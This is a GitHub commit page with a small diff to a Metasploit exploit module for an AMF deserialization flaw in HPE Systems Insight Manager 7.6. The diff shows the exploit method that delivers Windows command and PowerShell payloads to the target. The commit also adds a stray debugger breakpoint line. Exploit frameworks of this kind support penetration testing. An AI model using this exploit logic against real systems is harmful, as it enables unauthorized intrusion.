Skip to content

Commit 2e45962

Browse files
committed
Change gsub! to gsub so that we don't end up with nil errors when a match isn't found
1 parent 02e8994 commit 2e45962

File tree

1 file changed

+2
-1
lines changed

1 file changed

+2
-1
lines changed

modules/exploits/windows/http/hpe_sim_76_amf_deserialization.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -99,7 +99,8 @@ def check
9999
def exploit
100100
case target['Type']
101101
when :windows_command
102-
execute_command(payload.encoded.gsub!(/^powershell(?:\.exe)* /, 'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe ')) # If PowerShell is being used to run the command, specify the full path so that it will run correctly.
102+
require 'pry'; binding.pry
103+
execute_command(payload.encoded.gsub(/^powershell(?:\.exe)* /, 'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe ')) # If PowerShell is being used to run the command, specify the full path so that it will run correctly.
103104
when :windows_powershell
104105
execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true).prepend('C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\')) # Need full path to PowerShell binary for it to run for some reason.
105106
end

0 commit comments

Comments
 (0)